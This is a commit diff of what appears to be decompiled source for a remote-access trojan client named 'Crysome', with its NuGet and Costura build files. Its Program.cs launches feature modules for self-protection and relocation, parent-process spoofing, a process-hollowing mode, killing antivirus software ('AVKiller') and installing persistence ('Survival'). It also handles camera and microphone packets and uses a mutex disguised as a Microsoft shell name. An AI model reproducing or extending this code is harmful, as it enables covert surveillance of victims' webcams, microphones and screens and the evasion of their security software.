Program.Log("[CAM/MIC] Rx: " + text);
}
packetChannel.HandlePacket(client, val);
if (IsCamMicPacket(text))
{
Program.Log("[CAM/MIC] Handled OK: " + text);
}
}
catch (IOException ex)
{
Program.Log("IO: " + ex.Message);
break;
}
catch (Exception ex2)
{
Program.Log("Read ERROR: " + ex2.GetType().Name + " " + ex2.Message);
Program.Log("Stack: " + ex2.StackTrace);
if (ex2.InnerException != null)
{
Program.Log("Inner: " + ex2.InnerException.Message);
}
}
}
try
{
client.Disconnect();
}
catch
{
}
}
}
Crysome.Client/Crysome.Client/Program.cs
+220
View File
@@ -0,0 +1,220 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using Crysome.Client.Configuration;
namespace Crysome.Client;
internal class Program
{
internal static string logPath;
[DllImport("user32.dll")]
private static extern bool SetProcessDPIAware();
[STAThread]
private static void Main(string[] args)
{
try
{
SetProcessDPIAware();
}
catch
{
}
if (args != null && args.Length >= 2 && "--watcher".Equals(args[0], StringComparison.OrdinalIgnoreCase))
{
if (!int.TryParse(args[1], out var result))
{
return;
}
try
{
ClientConfiguration.Init();
if (ClientConfiguration.IsFeatureEnabled("protect"))
{
SelfProtect.RunAsWatcher(result);
}
return;
}
catch
{
return;
}
}
bool createdNew;
using (new Mutex(initiallyOwned: true, "Global\\Microsoft.Windows.Shell_InstanceActivationMgr_b4e7f1a2", out createdNew))
{
if (!createdNew)
{
return;
}
try
{
logPath = Path.Combine(Path.GetTempPath(), "Crysome_debug.log");
}
catch
{
logPath = "C:\\Crysome_debug.log";
}
Log("=== Crysome CLIENT STARTING ===");
Log("EXE: " + AppDomain.CurrentDomain.BaseDirectory);
Log("CLR: " + Environment.Version);
Log("Hollowed: " + ClientConfiguration.IsHollowed);
AppDomain.CurrentDomain.UnhandledException += delegate(object s, UnhandledExceptionEventArgs e)
{
Log("FATAL UNHANDLED: " + ((e.ExceptionObject as Exception)?.ToString() ?? e.ExceptionObject?.ToString()));
};
try
{
RealMain(args ?? new string[0]);
}
catch (Exception ex)
{
Log("FATAL CRASH: " + ex.ToString());
try
{
Console.WriteLine("FATAL: " + ex.ToString());
Console.WriteLine("Check log: " + logPath);
Console.ReadKey();
}
catch
{
}
}
}
}
private static void RealMain(string[] args)
{
Log("Loading config...");
try
{
ClientConfiguration.Init();
}
catch (Exception ex)
{
Log("Config init error: " + ex.ToString());
}
if (ClientConfiguration.EnabledFeatures != null)
{
try
{
Log("Features: " + string.Join(",", ClientConfiguration.EnabledFeatures));
}
catch
{
}
}
else
{
Log("Features: all");
}
if (ClientConfiguration.IsFeatureEnabled("protect"))
{
try
{
if (SelfProtect.NeedsRelocation())
{
Log("SelfProtect: needs relocation.");
if (SelfProtect.RelocateAndRelaunch(args))
{
Log("SelfProtect: relocated, exiting original.");
Environment.Exit(0);
return;
}
Log("SelfProtect: relocation failed or not needed, continuing.");
}
else
{
Log("SelfProtect: already in correct path.");
}
}
catch (Exception ex2)
{
Log("SelfProtect relocation error: " + ex2.Message);
}
}
bool flag = args != null && Array.Exists(args, (string a) => "--spoofed".Equals(a, StringComparison.OrdinalIgnoreCase));
string parentSpoof = ClientConfiguration.ParentSpoof;
bool flag2 = !ClientConfiguration.IsHollowed;
if (flag2 && !flag && !string.IsNullOrEmpty(parentSpoof) && parentSpoof != "None")
{
string fileName = Process.GetCurrentProcess().MainModule.FileName;
Log("Parent spoof: spawning under " + parentSpoof + " from " + fileName);
if (ParentSpoof.TrySpawnUnderParent(parentSpoof, fileName, "--spoofed"))
{
Log("Spawned under parent. Exiting this spawner.");
Environment.Exit(0);
return;
}
Log("Parent spoof failed, continuing normally.");
}
else if (!flag2 && !string.IsNullOrEmpty(parentSpoof) && parentSpoof != "None")
{
Log("Parent spoof skipped (hollowed mode).");
}
if (ClientConfiguration.IsFeatureEnabled("protect"))
{
try
{
Log("SelfProtect: starting active protection...");
SelfProtect.Start();
}
catch (Exception ex3)
{
Log("SelfProtect start error: " + ex3.Message);
}
}
if (ClientConfiguration.IsFeatureEnabled("avkill"))
{
try
{
Log("AVKiller: neutralizing...");
AVKiller.Start();
}
catch (Exception ex4)
{
Log("AVKiller error: " + ex4.Message);
}
}
if (ClientConfiguration.IsFeatureEnabled("survival"))
{
try
{
Log("Survival: installing...");
Survival.Install();
}
catch (Exception ex5)
{
Log("Survival error: " + ex5.Message);
}
}
Log("Starting client runner...");
new ClientRunner().Run();
}
internal static void Log(string msg)
{
try
{
string text = "[" + DateTime.Now.ToString("HH:mm:ss.fff") + "] " + msg + Environment.NewLine;
if (!string.IsNullOrEmpty(logPath))
{
File.AppendAllText(logPath, text);
}
try
{
Console.Write(text);
}
catch
{
}
}
catch
{
}
}
}
Crysome.Client/FodyWeavers.xml
+17
View File
@@ -0,0 +1,17 @@
<?xml version="1.0" encoding="utf-8"?>
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
<Costura IncludeDebugSymbols="false">
<ExcludeAssemblies>
EntityFramework
EntityFramework.SqlServer
System.Data.SQLite.EF6
System.Data.SQLite.Linq
System.Data.SqlClient
System.Diagnostics.DiagnosticSource
AForge
</ExcludeAssemblies>
<Unmanaged64Assemblies>
turbojpeg
</Unmanaged64Assemblies>
</Costura>
</Weavers>
Crysome.Client/FodyWeavers.xsd
+141
View File
@@ -0,0 +1,141 @@
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
<xs:element name="Weavers">
<xs:complexType>
<xs:all>
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
<xs:complexType>
<xs:all>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
</xs:all>
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCompression" type="xs:boolean">
<xs:annotation>
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCleanup" type="xs:boolean">
<xs:annotation>
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:all>
<xs:attribute name="VerifyAssembly" type="xs:boolean">
<xs:annotation>
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
<xs:annotation>
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="GenerateXsd" type="xs:boolean">
<xs:annotation>
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:schema>
Crysome.Client/obj/Crysome.Client.csproj.nuget.dgspec.json
+189
View File
@@ -0,0 +1,189 @@
{
"format": 1,
"restore": {
"C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj": {}
},
"projects": {
"C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj": {
"version": "1.0.0",
"restore": {
"projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj",
"projectName": "Crysome.Client",
"projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj",
"packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\",
"outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\obj\\",
"projectStyle": "PackageReference",
"fallbackFolders": [
"C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages",
"C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages"
],
"configFilePaths": [
"C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config",
"C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config",
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config",
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
],
"originalTargetFrameworks": [
"net472"
],
"sources": {
"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
"C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {},
"C:\\Program Files\\dotnet\\library-packs": {},
"https://api.nuget.org/v3/index.json": {}
},
"frameworks": {
"net472": {
"targetAlias": "net472",
"projectReferences": {
"C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj": {
"projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj"
}
}
}
},
"warningProperties": {
"warnAsError": [
"NU1605"
]
},
"restoreAuditProperties": {
"enableAudit": "true",
"auditLevel": "low",
"auditMode": "direct"
},
"SdkAnalysisLevel": "10.0.100"
},
"frameworks": {
"net472": {
"targetAlias": "net472",
"dependencies": {
"AForge.Video": {
"target": "Package",
"version": "[2.2.5, )"
},
"AForge.Video.DirectShow": {
"target": "Package",
"version": "[2.2.5, )"
},
"Costura.Fody": {
"target": "Package",
"version": "[5.7.0, )"
},
"Fody": {
"include": "Runtime, Build, Native, ContentFiles, Analyzers, BuildTransitive",
"suppressParent": "All",
"target": "Package",
"version": "[6.8.0, )"
},
"NAudio": {
"target": "Package",
"version": "[2.2.1, )"
},
"SharpDX": {
"target": "Package",
"version": "[4.2.0, )"
},
"SharpDX.DXGI": {
"target": "Package",
"version": "[4.2.0, )"
},
"SharpDX.Direct3D11": {
"target": "Package",
"version": "[4.2.0, )"
},
"System.Data.SQLite": {
"target": "Package",
"version": "[1.0.119, )"
},
"System.Text.Json": {
"target": "Package",
"version": "[8.0.5, )"
},
"libjpeg-turbo-native-win": {
"target": "Package",
"version": "[2.0.15, )"
},
"libjpeg-turbo-net": {
"target": "Package",
"version": "[2.0.15, )"
}
},
"runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102\\RuntimeIdentifierGraph.json"
}
},
"runtimes": {
"win-x64": {
"#import": []
}
}
},
"C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj": {
"version": "1.0.0",
"restore": {
"projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj",
"projectName": "Crysome.Common.Client",
"projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj",
"packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\",
"outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\obj\\",
"projectStyle": "PackageReference",
"fallbackFolders": [
"C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages",
"C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages"
],
"configFilePaths": [
"C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config",
"C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config",
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config",
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
],
"originalTargetFrameworks": [
"net472"
],
"sources": {
"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
"C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {},
"C:\\Program Files\\dotnet\\library-packs": {},
"https://api.nuget.org/v3/index.json": {}
},
"frameworks": {
"net472": {
"targetAlias": "net472",
"projectReferences": {}
}
},
"warningProperties": {
"warnAsError": [
"NU1605"
]
},
"restoreAuditProperties": {
"enableAudit": "true",
"auditLevel": "low",
"auditMode": "direct"
},
"SdkAnalysisLevel": "10.0.100"
},
"frameworks": {
"net472": {
"targetAlias": "net472",
"dependencies": {
"System.Buffers": {
"target": "Package",
"version": "[4.6.0, )"
},
"System.Memory": {
"target": "Package",
"version": "[4.6.0, )"
},
"System.Text.Json": {
"target": "Package",
"version": "[8.0.5, )"
}
},
"runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102\\RuntimeIdentifierGraph.json"
}
}
}
}
}
Crysome.Client/obj/Crysome.Client.csproj.nuget.g.props
+25
View File
@@ -0,0 +1,25 @@
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<RestoreSuccess Condition=" '$(RestoreSuccess)' == '' ">True</RestoreSuccess>
<RestoreTool Condition=" '$(RestoreTool)' == '' ">NuGet</RestoreTool>
<ProjectAssetsFile Condition=" '$(ProjectAssetsFile)' == '' ">$(MSBuildThisFileDirectory)project.assets.json</ProjectAssetsFile>
<NuGetPackageRoot Condition=" '$(NuGetPackageRoot)' == '' ">$(UserProfile)\.nuget\packages\</NuGetPackageRoot>
<NuGetPackageFolders Condition=" '$(NuGetPackageFolders)' == '' ">C:\Users\lukas\.nuget\packages\;C:\Program Files\DevExpress 24.2\Components\Offline Packages;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages</NuGetPackageFolders>
<NuGetProjectStyle Condition=" '$(NuGetProjectStyle)' == '' ">PackageReference</NuGetProjectStyle>
<NuGetToolVersion Condition=" '$(NuGetToolVersion)' == '' ">7.0.0</NuGetToolVersion>
</PropertyGroup>
<ItemGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<SourceRoot Include="C:\Users\lukas\.nuget\packages\" />
<SourceRoot Include="C:\Program Files\DevExpress 24.2\Components\Offline Packages\" />
<SourceRoot Include="C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages\" />
</ItemGroup>
<ImportGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<Import Project="$(NuGetPackageRoot)entityframework\6.4.4\buildTransitive\EntityFramework.props" Condition="Exists('$(NuGetPackageRoot)entityframework\6.4.4\buildTransitive\EntityFramework.props')" />
<Import Project="$(NuGetPackageRoot)costura.fody\5.7.0\build\Costura.Fody.props" Condition="Exists('$(NuGetPackageRoot)costura.fody\5.7.0\build\Costura.Fody.props')" />
</ImportGroup>
<PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<PkgEntityFramework Condition=" '$(PkgEntityFramework)' == '' ">C:\Users\lukas\.nuget\packages\entityframework\6.4.4</PkgEntityFramework>
<PkgSystem_Data_SQLite_EF6 Condition=" '$(PkgSystem_Data_SQLite_EF6)' == '' ">C:\Users\lukas\.nuget\packages\system.data.sqlite.ef6\1.0.119</PkgSystem_Data_SQLite_EF6>
</PropertyGroup>
</Project>
Crysome.Client/obj/Crysome.Client.csproj.nuget.g.targets
+11
View File
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ImportGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<Import Project="$(NuGetPackageRoot)system.text.json\8.0.5\buildTransitive\net462\System.Text.Json.targets" Condition="Exists('$(NuGetPackageRoot)system.text.json\8.0.5\buildTransitive\net462\System.Text.Json.targets')" />
<Import Project="$(NuGetPackageRoot)entityframework\6.4.4\buildTransitive\EntityFramework.targets" Condition="Exists('$(NuGetPackageRoot)entityframework\6.4.4\buildTransitive\EntityFramework.targets')" />
<Import Project="$(NuGetPackageRoot)stub.system.data.sqlite.core.netframework\1.0.119\buildTransitive\net46\Stub.System.Data.SQLite.Core.NetFramework.targets" Condition="Exists('$(NuGetPackageRoot)stub.system.data.sqlite.core.netframework\1.0.119\buildTransitive\net46\Stub.System.Data.SQLite.Core.NetFramework.targets')" />
<Import Project="$(NuGetPackageRoot)libjpeg-turbo-native-win\2.0.15\build\libjpeg-turbo-native-win.targets" Condition="Exists('$(NuGetPackageRoot)libjpeg-turbo-native-win\2.0.15\build\libjpeg-turbo-native-win.targets')" />
<Import Project="$(NuGetPackageRoot)fody\6.8.0\build\Fody.targets" Condition="Exists('$(NuGetPackageRoot)fody\6.8.0\build\Fody.targets')" />
<Import Project="$(NuGetPackageRoot)costura.fody\5.7.0\build\Costura.Fody.targets" Condition="Exists('$(NuGetPackageRoot)costura.fody\5.7.0\build\Costura.Fody.targets')" />
</ImportGroup>
</Project>
Crysome.Client/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs
+4
View File
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")]
Crysome.Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
+4
View File
@@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
Crysome.Client/obj/Debug/Costura/042522CEC4F745DF62FF0B4EC9C7E663FF7F1CCE.costura.system.data.sqlite.ef6.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/18C2276726EFA5ED871C8BBD667C20E14654A9BF.costura.crysome.common.client.pdb.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/1C27A41FD84D6BFE99DABAE2E59FCF12FCCF6213.costura.microsoft.win32.registry.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/2AED74577F5F623F7E910ADDA8EF74A11EEA0437.costura.system.security.principal.windows.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/2E8785F0098C3D42182C6FA7B977244D710A4C30.costura.system.data.sqlite.linq.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/3CD982AD2FB00A50151D7F416E4B05F79528496E.costura.entityframework.sqlserver.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/54C76A2FA61E6DF1AE4C9DF65435A38482C2CB71.costura.entityframework.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC.costura.system.text.encodings.web.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/5BA0C52D9D60B34EE74D013F8389804029E60F0E.costura.system.data.sqlite.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/6C6000A5EAF8579850AB82A89BD6268776EB51AD.costura.costura.pdb.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/6CF807DAA6AB142EAD6619ADDF8FC11C56DD51F9.costura.naudio.winforms.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/8890AD1911448490526D2A45AC8CC518B6E886A2.costura.system.numerics.vectors.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/89B053B11D08FD0B457A2480F822A26E2B52AA85.costura.system.codedom.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/8A3B1BD9DF5D052C24DE2304A2928FAD86927F6D.costura.system.security.accesscontrol.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/8C23283128D23F6CBC208E3A485A1CF1A9C0CB50.costura.system.buffers.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/B699E8E2CFC52BC3CFBA182FDABFC7F6FF8F82DE.costura.naudio.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/D3AD7F529C0B9232206348842E31566AD7347135.costura.system.text.json.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/E5D644311A6087C6A500F0E79BAE4AF305430B3D.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/F8A118F07EEA37CE732B487AB730646DEDC46235.costura.system.memory.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Costura/FDCE078A53F6D2BEF5E2F0CFCED275806207EE7F.costura.crysome.common.client.dll.compressed.compressed
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig
+14
View File
@@ -0,0 +1,14 @@
is_global = true
build_property.ApplicationManifest =
build_property.StartupObject =
build_property.ApplicationDefaultFont =
build_property.ApplicationHighDpiMode =
build_property.ApplicationUseCompatibleTextRendering =
build_property.ApplicationVisualStyles =
build_property.RootNamespace = Crysome.Client
build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\
build_property.EnableComHosting =
build_property.EnableGeneratedComInterfaceComImportInterop =
build_property.CsWinRTUseWindowsUIXamlProjections = false
build_property.EffectiveAnalysisLevelStyle =
build_property.EnableCodeStyleSeverity =
Crysome.Client/obj/Debug/Crysome.Client.assets.cache
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Crysome.Client.csproj.AssemblyReference.cache
BIN
View File
Binary file not shown.
Crysome.Client/obj/Debug/Crysome.Client.csproj.CoreCompileInputs.cache
+1
View File
@@ -0,0 +1 @@
3e86855d861eab533dca0f5a818c58696c0fdc79ee336dc8f1cda63acbf24b38
Crysome.Client/obj/Debug/Crysome.Client.csproj.FileListAbsolute.txt
+17
View File
@@ -0,0 +1,17 @@
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.AssemblyReference.cache
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig
C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.CoreCompileInputs.cache
